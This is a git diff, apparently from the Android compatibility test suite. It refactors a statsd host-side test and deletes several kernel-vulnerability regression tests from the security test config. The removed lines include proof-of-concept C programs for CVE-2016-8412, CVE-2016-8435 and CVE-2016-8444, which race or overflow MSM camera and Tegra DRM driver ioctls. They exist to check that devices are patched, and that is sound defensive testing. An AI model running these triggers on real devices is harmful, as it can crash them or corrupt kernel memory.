+        configBuilder.addAtomMatcher(
+                AtomMatcher.newBuilder()
+                        .setName("SCREEN_TURNED_ON")
+                        .setSimpleAtomMatcher(
+                                SimpleAtomMatcher.newBuilder()
+                                        .setTag(Atom.SCREEN_STATE_CHANGED_FIELD_NUMBER)
+                                        .addKeyValueMatcher(KeyValueMatcher.newBuilder()
+                                                .setKeyMatcher(
+                                                        KeyMatcher.newBuilder()
+                                                                .setKey(ScreenStateChanged
+                                                                        .DISPLAY_STATE_FIELD_NUMBER)
+                                                ).setEqInt(
+                                                        ScreenStateChanged.State.STATE_ON_VALUE))));
+        configBuilder.addAtomMatcher(
+                AtomMatcher.newBuilder()
+                        .setName("SCREEN_TURNED_OFF")
+                        .setSimpleAtomMatcher(
+                                SimpleAtomMatcher.newBuilder()
+                                        .setTag(Atom.SCREEN_STATE_CHANGED_FIELD_NUMBER)
+                                        .addKeyValueMatcher(KeyValueMatcher.newBuilder()
+                                                .setKeyMatcher(
+                                                        KeyMatcher.newBuilder()
+                                                                .setKey(ScreenStateChanged
+                                                                        .DISPLAY_STATE_FIELD_NUMBER)
+                                                ).setEqInt(
+                                                        ScreenStateChanged.State.STATE_OFF_VALUE)
+                                        )));
+        configBuilder.addAtomMatcher(
+                AtomMatcher.newBuilder()
+                        .setName("UID_PROCESS_STATE_CHANGED")
+                        .setSimpleAtomMatcher(
+                                SimpleAtomMatcher.newBuilder()
+                                        .setTag(Atom.UID_PROCESS_STATE_CHANGED_FIELD_NUMBER)));
+        // up to 110 is fine. 128 not good
+        configBuilder.addAtomMatcher(
+                AtomMatcher.newBuilder()
+                        .setName("KERNEL_WAKELOCK_PULLED")
+                        .setSimpleAtomMatcher(
+                                SimpleAtomMatcher.newBuilder()
+                                        .setTag(Atom.KERNEL_WAKELOCK_PULLED_FIELD_NUMBER)));
+        configBuilder
+                .addCondition(Condition.newBuilder().setName("SCREEN_IS_ON").setSimpleCondition(
+                        SimpleCondition.newBuilder().setStart("SCREEN_TURNED_ON")
+                                .setStop("SCREEN_TURNED_OFF")));
+        return configBuilder;
+    }
+
+    private void removeConfig(String configName) throws Exception {
+        getDevice().executeShellCommand(
+                String.join(" ", REMOVE_CONFIG_CMD, CONFIG_UID, configName));
+    }
+
+    private ConfigMetricsReportList getReportList() throws Exception {
+        ConfigMetricsReportList reportList = getDump(ConfigMetricsReportList.parser(),
+                String.join(" ", DUMP_REPORT_CMD, CONFIG_UID, CONFIG_NAME, "--proto"));
+        LogUtil.CLog.d("get report list as following:\n" + reportList.toString());
+        return reportList;
+    }
+
+    private void turnScreenOn() throws Exception {
         getDevice().executeShellCommand("input keyevent KEYCODE_WAKEUP");
         getDevice().executeShellCommand("wm dismiss-keyguard");
-        // TODO: assertTrue() on something pulled from statsd report using getStatsOutput.
     }
 
-    protected void testScreenOff() throws Exception {
+    private void turnScreenOff() throws Exception {
         getDevice().executeShellCommand("input keyevent KEYCODE_SLEEP");
-        // TODO: assertTrue() on something pulled from statsd report using getStatsOutput.
     }
 
-    public void testAlarms() throws Exception {
-        installTestApp();
-        runDeviceTests(DEVICE_SIDE_TEST_PACKAGE, ".BatteryStatsAlarmTest", "testAlarms");
-        // TODO: assertTrue() on something pulled from statsd report using getStatsOutput.
-    }
-
-    public void testWakeLock() throws Exception {
-        installTestApp();
-        runDeviceTests(DEVICE_SIDE_TEST_PACKAGE, ".BatteryStatsWakeLockTests",
-                "testHoldShortWakeLock");
-        // TODO: assertTrue() on something pulled from statsd report using getStatsOutput.
+    private void rebootDevice() throws Exception {
+        getDevice().rebootUntilOnline();
     }
 
     private void startSimpleActivity() throws Exception {
@@ -102,70 +388,20 @@
         // TODO: assertTrue() on something pulled from statsd report using getStatsOutput.
     }
 
-    public void testUnoptimizedBleScans() throws Exception {
-        if (!hasFeature(FEATURE_BLUETOOTH_LE, true)) return;
-        installTestApp();
-        executeBackground(ACTION_BLE_SCAN_UNOPTIMIZED, 40_000);
-        // TODO: assertTrue() on something pulled from statsd report using getStatsOutput.
-    }
-
-
-    public void testOptimizedBleScans() throws Exception {
-        if (!hasFeature(FEATURE_BLUETOOTH_LE, true)) return;
-        installTestApp();
-        executeBackground(ACTION_BLE_SCAN_OPTIMIZED, 40_000);
-        // TODO: assertTrue() on something pulled from statsd report using getStatsOutput.
-    }
-
-    public void testGpsUpdates() throws Exception {
-        if (!hasFeature(FEATURE_LOCATION_GPS, true)) return;
-        installTestApp();
-        // Whitelist this app against background location request throttling
-        getDevice().executeShellCommand(String.format(
-                "settings put global location_background_throttle_package_whitelist %s",
-                DEVICE_SIDE_TEST_PACKAGE));
-
-        executeBackground(ACTION_GPS, 60_000);
-        // TODO: assertTrue() on something pulled from statsd report using getStatsOutput.
-    }
-
-    public void testJob() throws Exception {
-        installTestApp();
-        executeBackground(ACTION_JOB_SCHEDULE, 60_000);
-        // TODO: assertTrue() on something pulled from statsd report using getStatsOutput.
-    }
-
-    public void testSync() throws Exception {
-        installTestApp();
-        executeBackground(ACTION_SYNC, 60_000);
-        // TODO: assertTrue() on something pulled from statsd report using getStatsOutput.
-    }
-
-    public void testWifiScan() throws Exception {
-        if (!hasFeature(FEATURE_WIFI, true)) return;
-        installTestApp();
-        // Whitelist this app against background wifi scan throttling
-        getDevice().executeShellCommand(String.format(
-                "settings put global wifi_scan_background_throttle_package_whitelist %s",
-                DEVICE_SIDE_TEST_PACKAGE));
-
-        executeBackground(ACTION_WIFI_SCAN, 120_000);
-        // TODO: assertTrue() on something pulled from statsd report using getStatsOutput
-    }
-
     private void installTestApp() throws Exception {
         installPackage(DEVICE_SIDE_TEST_APK, true);
     }
 
-    /**
-     * TODO: Update this.
-     */
-    private int getStatsOutput() throws Exception {
-        int uid = getUid();
-        String statsdOutput = getDevice().executeShellCommand(
-                /* TODO: */"dumpsys batterystats --checkin");
-        // TODO: Extract something of interest from statsdOutput using the function's arguments.
-        return 1;
+    private String getCurrentLogcatDate() throws Exception {
+        // TODO: Do something more robust than this for getting logcat markers.
+        long timestampSecs = getDevice().getDeviceDate();
+        return new SimpleDateFormat("MM-dd HH:mm:ss.SSS")
+                .format(new Date(timestampSecs * 1000L));
+    }
+
+    private String getLogcatSince(String date, String logcatParams) throws Exception {
+        return getDevice().executeShellCommand(String.format(
+                "logcat -v threadtime -t '%s' -d %s", date, logcatParams));
     }
 
     // TODO: All the following code is entirely taken verbatim from BatteryStatsValidationTest.
@@ -185,12 +421,14 @@
     /**
      * Runs a (background) service to perform the given action, and waits for
      * the device to report that the action has finished (via a logcat message) before returning.
+     *
      * @param actionValue one of the constants in BatteryStatsBgVsFgActions indicating the desired
      *                    action to perform.
-     * @param maxTimeMs max time to wait (in ms) for action to report that it has completed.
+     * @param maxTimeMs   max time to wait (in ms) for action to report that it has completed.
      * @return A string, representing a random integer, assigned to this particular request for the
-     *                     device to perform the given action. This value can be used to receive
-     *                     communications via logcat from the device about this action.
+     * device to perform the given action. This value can be used to receive communications via
+     * logcat
+     * from the device about this action.
      */
     private String executeBackground(String actionValue, int maxTimeMs) throws Exception {
         String requestCode = executeBackground(actionValue);
@@ -201,11 +439,13 @@
 
     /**
      * Runs a (background) service to perform the given action.
+     *
      * @param actionValue one of the constants in BatteryStatsBgVsFgActions indicating the desired
      *                    action to perform.
      * @return A string, representing a random integer, assigned to this particular request for the
-      *                     device to perform the given action. This value can be used to receive
-      *                     communications via logcat from the device about this action.
+     * device to perform the given action. This value can be used to receive communications via
+     * logcat
+     * from the device about this action.
      */
     private String executeBackground(String actionValue) throws Exception {
         allowBackgroundServices();
@@ -218,7 +458,9 @@
         return requestCode;
     }
 
-    /** Required to successfully start a background service from adb in O. */
+    /**
+     * Required to successfully start a background service from adb in O.
+     */
     private void allowBackgroundServices() throws Exception {
         getDevice().executeShellCommand(String.format(
                 "cmd deviceidle tempwhitelist %s", DEVICE_SIDE_TEST_PACKAGE));
@@ -226,13 +468,16 @@
 
     /**
      * Runs an activity (in the foreground) to perform the given action, and waits
-     * for the device to report that the action has finished (via a logcat message) before returning.
+     * for the device to report that the action has finished (via a logcat message) before
+     * returning.
+     *
      * @param actionValue one of the constants in BatteryStatsBgVsFgActions indicating the desired
      *                    action to perform.
-     * @param maxTimeMs max time to wait (in ms) for action to report that it has completed.
+     * @param maxTimeMs   max time to wait (in ms) for action to report that it has completed.
      * @return A string, representing a random integer, assigned to this particular request for the
-     *                     device to perform the given action. This value can be used to receive
-     *                     communications via logcat from the device about this action.
+     * device to perform the given action. This value can be used to receive communications via
+     * logcat
+     * from the device about this action.
      */
     private String executeForeground(String actionValue, int maxTimeMs) throws Exception {
         String requestCode = executeForeground(actionValue);
@@ -243,11 +488,13 @@
 
     /**
      * Runs an activity (in the foreground) to perform the given action.
+     *
      * @param actionValue one of the constants in BatteryStatsBgVsFgActions indicating the desired
      *                    action to perform.
      * @return A string, representing a random integer, assigned to this particular request for the
-     *                     device to perform the given action. This value can be used to receive
-     *                     communications via logcat from the device about this action.
+     * device to perform the given action. This value can be used to receive communications via
+     * logcat
+     * from the device about this action.
      */
     private String executeForeground(String actionValue) throws Exception {
         String requestCode = Integer.toString(new Random().nextInt());
@@ -261,18 +508,19 @@
 
     /**
      * The string that will be printed in the logcat when the action completes. This needs to be
-     * identical to {@link com.android.server.cts.device.batterystats.BatteryStatsBgVsFgActions#tellHostActionFinished}.
+     * identical to
+     * {@link com.android.server.cts.device.batterystats.BatteryStatsBgVsFgActions#tellHostActionFinished}.
      */
     private String getCompletedActionString(String actionValue, String requestCode) {
         return String.format("Completed performing %s for request %s", actionValue, requestCode);
     }
 
     /**
-    * Runs logcat and waits (for a maximumum of maxTimeMs) until the desired text is displayed with
-    * the given tag.
-    * Logcat is not cleared, so make sure that text is unique (won't get false hits from old data).
-    * Note that, in practice, the actual max wait time seems to be about 10s longer than maxTimeMs.
-    */
+     * Runs logcat and waits (for a maximumum of maxTimeMs) until the desired text is displayed with
+     * the given tag.
+     * Logcat is not cleared, so make sure that text is unique (won't get false hits from old data).
+     * Note that, in practice, the actual max wait time seems to be about 10s longer than maxTimeMs.
+     */
     private void checkLogcatForText(String logcatTag, String text, int maxTimeMs) {
         IShellOutputReceiver receiver = new IShellOutputReceiver() {
             private final StringBuilder mOutputBuffer = new StringBuilder();
@@ -338,4 +586,5 @@
         }
         return hasIt;
     }
+
 }
diff --git a/hostsidetests/security/AndroidTest.xml b/hostsidetests/security/AndroidTest.xml
index d4cf524..052e976 100644
--- a/hostsidetests/security/AndroidTest.xml
+++ b/hostsidetests/security/AndroidTest.xml
@@ -17,15 +17,8 @@
     <option name="config-descriptor:metadata" key="component" value="security" />
     <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
         <option name="cleanup" value="true" />
-        <option name="push" value="CVE-2016-8412->/data/local/tmp/CVE-2016-8412" />
-        <option name="push" value="CVE-2016-8444->/data/local/tmp/CVE-2016-8444" />
-        <option name="push" value="CVE-2016-8448->/data/local/tmp/CVE-2016-8448" />
-        <option name="push" value="CVE-2016-8449->/data/local/tmp/CVE-2016-8449" />
         <option name="push" value="CVE-2016-8460->/data/local/tmp/CVE-2016-8460" />
-        <option name="push" value="CVE-2017-0403->/data/local/tmp/CVE-2017-0403" />
-        <option name="push" value="CVE-2017-0404->/data/local/tmp/CVE-2017-0404" />
         <option name="push" value="CVE-2016-8482->/data/local/tmp/CVE-2016-8482" />
-        <option name="push" value="CVE-2017-0429->/data/local/tmp/CVE-2017-0429" />
         <option name="push" value="CVE-2016-6730->/data/local/tmp/CVE-2016-6730" />
         <option name="push" value="CVE-2016-6731->/data/local/tmp/CVE-2016-6731" />
         <option name="push" value="CVE-2016-6732->/data/local/tmp/CVE-2016-6732" />
@@ -43,8 +36,6 @@
         <option name="push" value="CVE-2016-8431->/data/local/tmp/CVE-2016-8431" />
         <option name="push" value="CVE-2016-8432->/data/local/tmp/CVE-2016-8432" />
         <option name="push" value="CVE-2016-8434->/data/local/tmp/CVE-2016-8434" />
-        <option name="push" value="CVE-2016-8435->/data/local/tmp/CVE-2016-8435" />
-        <option name="push" value="CVE-2016-9120->/data/local/tmp/CVE-2016-9120" />
         <option name="push" value="Bug-34328139->/data/local/tmp/Bug-34328139" />
         <option name="push" value="Bug-33452365->/data/local/tmp/Bug-33452365" />
         <option name="push" value="CVE-2017-0451->/data/local/tmp/CVE-2017-0451" />
@@ -59,14 +50,11 @@
         <option name="push" value="CVE-2017-0586->/data/local/tmp/CVE-2017-0586" />
         <option name="push" value="CVE-2017-0705->/data/local/tmp/CVE-2017-0705" />
         <option name="push" value="CVE-2017-8263->/data/local/tmp/CVE-2017-8263" />
+
         <!--__________________-->
         <!-- Bulletin 2017-01 -->
         <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
 
-        <option name="push" value="CVE-2016-8457->/data/local/tmp/CVE-2016-8457" />
-        <option name="push" value="CVE-2016-8456->/data/local/tmp/CVE-2016-8456" />
-        <option name="push" value="CVE-2016-8455->/data/local/tmp/CVE-2016-8455" />
-
         <!--__________________-->
         <!-- Bulletin 2017-02 -->
         <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8412/Android.mk b/hostsidetests/security/securityPatch/CVE-2016-8412/Android.mk
deleted file mode 100644
index e2a1c73..0000000
--- a/hostsidetests/security/securityPatch/CVE-2016-8412/Android.mk
+++ /dev/null
@@ -1,32 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2016-8412
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-LOCAL_CFLAGS := -Wall -Werror
-LOCAL_CFLAGS += -Wno-unused-variable
-LOCAL_LDFLAGS += -fPIE -pie
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8412/poc.c b/hostsidetests/security/securityPatch/CVE-2016-8412/poc.c
deleted file mode 100644
index d438b40..0000000
--- a/hostsidetests/security/securityPatch/CVE-2016-8412/poc.c
+++ /dev/null
@@ -1,69 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-#include <unistd.h>
-#include <sys/syscall.h>
-#include <string.h>
-#include <stdint.h>
-#include <pthread.h>
-#include <stdio.h>
-#include <sys/types.h>
-#include <sys/stat.h>
-#include <fcntl.h>
-#include <signal.h>
-
-#define VIDIOC_MSM_ACTUATOR_CFG 0xc0d056c6
-#define MSM_SD_SHUTDOWN 0xc00856dd
-
-int fd;
-
-
-int main() {
-  long i;
-  int pid;
-  pthread_t th[6];
-  int argn[50] = {0};
-
-  fd = open("/dev/v4l-subdev7", 0x0ul );
-
-
-  argn[0] = 7;
-  syscall(__NR_ioctl, fd, VIDIOC_MSM_ACTUATOR_CFG, argn, 0, 0, 0);
-
-  pid = fork();
-  if(!pid){
-    argn[0] = 1;
-    while(1){
-      usleep(10);
-      syscall(__NR_ioctl, fd, VIDIOC_MSM_ACTUATOR_CFG, argn, 0, 0, 0);
-    }
-  }
-  i = 0;
-  while(1){
-    i++;
-    argn[0] = 7;
-    syscall(__NR_ioctl, fd, VIDIOC_MSM_ACTUATOR_CFG, argn, 0, 0, 0);
-
-    usleep(100);
-
-    argn[0] = 0;
-    syscall(__NR_ioctl, fd, MSM_SD_SHUTDOWN, argn, 0, 0, 0);
-
-  }
-
-  close(fd);
-
-  return 0;
-}
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8435/Android.mk b/hostsidetests/security/securityPatch/CVE-2016-8435/Android.mk
deleted file mode 100644
index 46920cf..0000000
--- a/hostsidetests/security/securityPatch/CVE-2016-8435/Android.mk
+++ /dev/null
@@ -1,32 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2016-8435
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-LOCAL_CFLAGS := -Wall -Werror
-LOCAL_CFLAGS += -Wno-missing-braces -Wno-missing-field-initializers
-LOCAL_LDFLAGS += -fPIE -pie
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8435/local_pwn.h b/hostsidetests/security/securityPatch/CVE-2016-8435/local_pwn.h
deleted file mode 100644
index 70574fe..0000000
--- a/hostsidetests/security/securityPatch/CVE-2016-8435/local_pwn.h
+++ /dev/null
@@ -1,116 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-#ifndef __local_pwn_H__
-#define __local_pwn_H__
-
-#define SIOCIWFIRSTPRIV 0x8BE0
-#define SIOCGIWNAME     0x8B01
-#define IOCTL_SET_STRUCT_FOR_EM         (SIOCIWFIRSTPRIV + 11)
-#define PRIV_CUSTOM_BWCS_CMD            13
-#define PRIV_CMD_OID                    15
-#define PRIV_CMD_SW_CTRL                20
-#define PRIV_CMD_WSC_PROBE_REQ          22
-
-enum host1x_class {
-        HOST1X_CLASS_HOST1X = 0x1,
-        HOST1X_CLASS_NVENC = 0x21,
-        HOST1X_CLASS_VI = 0x30,
-        HOST1X_CLASS_ISPA = 0x32,
-        HOST1X_CLASS_ISPB = 0x34,
-        HOST1X_CLASS_GR2D = 0x51,
-        HOST1X_CLASS_GR2D_SB = 0x52,
-        HOST1X_CLASS_VIC = 0x5D,
-        HOST1X_CLASS_GR3D = 0x60,
-        HOST1X_CLASS_NVJPG = 0xC0,
-        HOST1X_CLASS_NVDEC = 0xF0,
-};
-
-#define DRM_COMMAND_BASE                0x40
-#define DRM_COMMAND_END                 0xA0
-
-#define DRM_TEGRA_OPEN_CHANNEL          0x05
-#define DRM_TEGRA_CLOSE_CHANNEL         0x06
-#define DRM_TEGRA_SUBMIT		0x08
-
-struct drm_tegra_open_channel {
-        __u32 client;
-        __u32 pad;
-        __u64 context;
-};
-
-struct drm_tegra_close_channel {
-        __u64 context;
-};
-
-struct drm_tegra_submit {
-	__u64 context;
-	__u32 num_syncpts;
-	__u32 num_cmdbufs;
-	__u32 num_relocs;
-	__u32 num_waitchks;
-	__u32 waitchk_mask;
-	__u32 timeout;
-	__u64 syncpts;
-	__u64 cmdbufs;
-	__u64 relocs;
-	__u64 waitchks;
-	__u32 fence;		/* Return value */
-	__u32 reserved0;
-	__u64 fences;
-	__u32 reserved1[2];	/* future expansion */
-};
-
-#define DRM_IOCTL_BASE                  'd'
-#define DRM_IOWR(nr,type)               _IOWR(DRM_IOCTL_BASE,nr,type)
-#define DRM_IOCTL_TEGRA_OPEN_CHANNEL DRM_IOWR(DRM_COMMAND_BASE + DRM_TEGRA_OPEN_CHANNEL, struct drm_tegra_open_channel)
-#define DRM_IOCTL_TEGRA_CLOSE_CHANNEL DRM_IOWR(DRM_COMMAND_BASE + DRM_TEGRA_CLOSE_CHANNEL, struct drm_tegra_open_channel)
-#define DRM_IOCTL_TEGRA_SUBMIT DRM_IOWR(DRM_COMMAND_BASE + DRM_TEGRA_SUBMIT, struct drm_tegra_submit)
-
-struct drm_tegra_syncpt {
-	__u32 id;
-	__u32 incrs;
-};
-
-struct list_head {
-	struct list_head *next, *prev;
-};
-
-struct tegra_drm_client_ops {
-	void* open_channel;
-	void* close_channel; 
-	void* reset;
-	void* is_add_reg;
-	void* submit;
-};
-
-struct tegra_drm_client {
-	/* sizeof(host1x_client) is 232 */
-	unsigned char pad[232];	/* maybe gadget arguments */
-	struct list_head list;
-	struct tegra_drm_client_ops *ops;
-};
-
-struct tegra_drm_context {
-	struct tegra_drm_client *client;
-	void *channel;
-	struct list_head list;
-	/* FIXME we need pass lock op */
-	//struct mutex lock;
-	//bool keepon;
-	//struct host1x_user user;
-};
-
-#endif
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8435/poc.c b/hostsidetests/security/securityPatch/CVE-2016-8435/poc.c
deleted file mode 100644
index ff6acb0..0000000
--- a/hostsidetests/security/securityPatch/CVE-2016-8435/poc.c
+++ /dev/null
@@ -1,74 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-#define _GNU_SOURCE
-#include <string.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <sys/ioctl.h>
-#include <errno.h>
-#include <sys/stat.h>
-#include <fcntl.h>
-#include <sys/types.h>
-#include <unistd.h>
-#include <sys/syscall.h>
-
-#include "local_pwn.h"
-
-#define DEV "/dev/dri/renderD129"
-#define SYN_NUM 64
-
-struct drm_tegra_open_channel open_c = { 0 };
-struct drm_tegra_submit submit_c = { 0 };
-struct drm_tegra_syncpt syncpts[SYN_NUM] = { 0 };
-
-int main()
-{
-	int ret;
-	int dev_fd;
-	int i;
-
-	/* open dev */
-	dev_fd = open(DEV,O_RDONLY);
-	if(dev_fd == -1){
-		printf("[-] open dev failed %d %s\n", errno, strerror(errno));
-		return 0;
-	}
-	
-	/* prepare for ioctl */
-	open_c.client = HOST1X_CLASS_VIC;
-	submit_c.num_syncpts = SYN_NUM;
-	submit_c.syncpts = (__u64)syncpts;
-
-	for(i = 1; i < SYN_NUM; i++){
-		syncpts[i].id = 192;
-		syncpts[i].incrs = 0xffff;
-	}
-
-	/* open channel */
-	ret = ioctl(dev_fd, DRM_IOCTL_TEGRA_OPEN_CHANNEL, &open_c);
-	if(ret == -1){
-		printf("[-] open_channel failed %d %s\n", errno, strerror(errno));
-		goto out_dev;
-	}
-	submit_c.context = open_c.context;
-	printf("[+] call submit\n");
-	ret = ioctl(dev_fd, DRM_IOCTL_TEGRA_SUBMIT, &submit_c);
-	printf("[+] submit return %d\n", ret);
-	
-out_dev:
-	close(dev_fd);
-	return 0;
-}
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8444/Android.mk b/hostsidetests/security/securityPatch/CVE-2016-8444/Android.mk
deleted file mode 100644
index 531a3d1..0000000
--- a/hostsidetests/security/securityPatch/CVE-2016-8444/Android.mk
+++ /dev/null
@@ -1,32 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2016-8444
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-LOCAL_CFLAGS := -Wall -Werror
-LOCAL_CFLAGS += -Wno-unused-variable
-LOCAL_LDFLAGS += -fPIE -pie
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8444/poc.c b/hostsidetests/security/securityPatch/CVE-2016-8444/poc.c
deleted file mode 100644
index d681a43..0000000
--- a/hostsidetests/security/securityPatch/CVE-2016-8444/poc.c
+++ /dev/null
@@ -1,78 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-#define _GNU_SOURCE
-#include <unistd.h>
-#include <fcntl.h>
-#include <sys/syscall.h>
-#include <stdio.h>
-#include <string.h>
-#include <stdint.h>
-#include <pthread.h>
-
-#define MSM_SD_SHUTDOWN 0xc00856dd
-#define VIDIOC_MSM_ISPIF_CFG 0xc17056c0
-
-struct ispif_cfg_data {
-  int32_t  cfg_type;
-  union {
-    int reg_dump;                        /* ISPIF_ENABLE_REG_DUMP */
-    uint32_t csid_version;               /* ISPIF_INIT */
-    //struct msm_ispif_vfe_info vfe_info;  /* ISPIF_SET_VFE_INFO */
-    //struct msm_ispif_param_data params;  /* CFG, START, STOP */
-  };
-};
-
-long r[11];
-
-int fd;
-struct ispif_cfg_data data;
-
-void *worker_thread(void *arg) {
-
-  int arg1[3] =  {0};
-  switch ((long)arg) {
-  case 0:
-    data.cfg_type = 8; ////release
-    ioctl(fd, VIDIOC_MSM_ISPIF_CFG, &data);
-    break;
-  case 1:
-    ioctl(fd, MSM_SD_SHUTDOWN, &arg1);
-    break;
-  }
-  return NULL;
-}
-
-int main() {
-
-  int pid,i;
-  pthread_t th[4];
-  fd = open( "/dev/v4l-subdev17", 0x0ul );
-
-  printf("please wait for several seconds...\n");
-
-  while(1){
-
-    data.cfg_type = 2; ////init
-    data.csid_version = 1;
-    ioctl(fd, VIDIOC_MSM_ISPIF_CFG, &data);
-
-    for (i = 0; i < 2; i++) {
-      pthread_create(&th[i], 0, worker_thread, (void *)(long)i);
-      usleep(10);
-    }
-  }
-  return 0;
-}
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8448/Android.mk b/hostsidetests/security/securityPatch/CVE-2016-8448/Android.mk
deleted file mode 100644
index 01ffa37..0000000
--- a/hostsidetests/security/securityPatch/CVE-2016-8448/Android.mk
+++ /dev/null
@@ -1,31 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2016-8448
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-LOCAL_CFLAGS := -Wno-unused-parameter -Wall -Werror
-LOCAL_LDFLAGS += -fPIE -pie
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8448/mtkfb.h b/hostsidetests/security/securityPatch/CVE-2016-8448/mtkfb.h
deleted file mode 100644
index b33073c..0000000
